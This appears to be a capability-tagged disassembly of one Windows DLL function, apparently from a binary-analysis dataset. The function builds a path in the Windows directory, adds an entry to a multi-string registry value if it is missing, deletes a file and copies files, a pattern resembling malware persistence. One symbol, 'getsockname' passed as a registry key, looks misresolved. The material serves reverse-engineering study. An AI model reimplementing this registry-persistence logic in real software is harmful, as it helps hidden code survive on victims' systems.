Function at 0x10001230
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
jmp 0x10016010
sub esp, 0xa44
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x55]
mov byte [esp + 0x54], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x54]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x100072e4
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x54]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x57], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x54]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, 0x1000732c
lea edi, [esp + 0x20]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x20]
push ecx
movsb byte es:[edi], byte [esi]
call fcn.10001023
mov ecx, 0x4a
xor eax, eax
lea edi, [esp + 0x161]
mov byte [esp + 0x160], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [esp + 0x15c]
push 0x100072d4
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x60]
lea ecx, [esp + 0x164]
push eax
push ecx
call fcn.100013ac
add esp, 0x14
lea edx, [esp + 0x10]
lea eax, [esp + 0x158]
push edx
push 0xf003f
push 0
push eax
push getsockname
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100162b0
mov ecx, 0x1f3
lea edi, [esp + 0x285]
mov byte [esp + 0x284], al
lea edx, [esp + 0x284]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x284]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea eax, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push eax
push 0
push 0x10007324
push ecx
mov dword [esp + 0x2c], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10016214
lea edi, [esp + 0x284]
or ecx, 0xffffffff
xor ebx, ebx
lea ebp, [esp + 0x284]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
je 0x100161cf
cmp si, 1
je 0x100161cf
push 0x10006cd0
push ebp
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100161fe
mov eax, esi
and eax, 0xffff
test si, si
lea ebp, [eax + ebp + 1]
lea ebx, [ebx + eax + 1]
je 0x100161cf
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1001618f
mov edi, 0x10006cd0
or ecx, 0xffffffff
xor eax, eax
push 0x10006cd0
repne scasb al, byte es:[edi]
mov al, byte [ebp - 1]
push 0x10007320
not ecx
dec ecx
add ebx, ecx
test al, al
je 0x100161f2
inc ebp
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x10016250
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa44
ret
mov edi, 0x10006cd0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x284]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x284]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x284]
push ebx
push ecx
push 7
push 0
push 0x10007324
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x54]
push ecx
call esi
lea edx, [esp + 0x54]
lea eax, [esp + 0x158]
push edx
push eax
call fcn.10001023
lea ecx, [esp + 0x5c]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.100013ac
add esp, 0x10
lea eax, [esp + 0x54]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa44
ret